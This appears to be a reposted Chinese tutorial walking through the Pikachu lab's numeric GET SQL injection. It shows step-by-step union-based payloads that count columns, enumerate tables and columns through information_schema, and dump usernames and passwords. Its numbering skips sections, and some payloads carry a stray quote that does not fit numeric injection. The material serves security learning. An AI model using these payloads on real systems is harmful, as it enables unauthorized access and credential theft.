自学内容网 自学内容网

Pikachu-Sql Inject-数字型注入(GET)

一、、破解 SQL 查询语句中的字段数

?id=1' order by 3 --+ 
// --+ 是注释,+ 加号 在MySQL中会转成空格

order by 1  ,by 数字几,就是按照第几列进行排序;如果没有这一行,则报错
如:以下语句,根据第一行排序
 

select * from table_name order by 1 


order by 2,正常返回;order by 3, 报错;所以sql查询语句有两列;

用 + 号是转换成空格, --+ 是把 sql 语句后面的注释掉;

四、获取当前数据库
联合查询猜数据库:

id = 1' union select 1,database()

注意:若是数据显示只显示一行,将id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,需要的第二条查询语句的查询结果就不能正常显示到浏览器中。

得到数据库名为:pikachu

五、获取数据库中的表
关键的三张表:SCHEMATA、TABLES、COLUMNS,它们分别能爆出数据库名,表名和字段名。

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。


TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema(哪个库),表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。


COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

要记住COLUMNS表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name

常用到的三个字段名:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME

构造uniot select 爆破表名

// 根据数据库名,得到表名table_name
 

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

或
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'

爆破出表:httpinfo,member,message,users,xssblind

与从系统中查到的相对应

六、获取表中的字段名
根据上面得到的四张表名,可以爆破表里的字段名;以users为例
构造uniot select 爆破字段名

// 根据表名,得到字段名 column_name

id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'

爆破得到字段:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level

七、查询到账户的数据
根据爆破出的字段,查询数据

构造uniot select 爆破数据

// 根据字段名,得到数据,以获取用户名、密码数据为例

id=1' union select 1,group_concat(username,':',password)from users


 

获得:admin、pikachu、test 三个用户的用户名和密码;至此完成;

注:concat是针对一行数据多个字段拼接,而group_concat是针对多行数据拼接,且group_concat自动生成逗号。

union select 联合查询 ,即合并取交集,结果中没有重复行,前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。

MySQL 提供了以下三种注释方法:

#:不建议直接使用,建议使用其 URL 编码形式%23
--+:本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``--%20
/**/:多行注释,常被用作空格


原文地址:https://blog.csdn.net/guanrongl/article/details/142691880

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!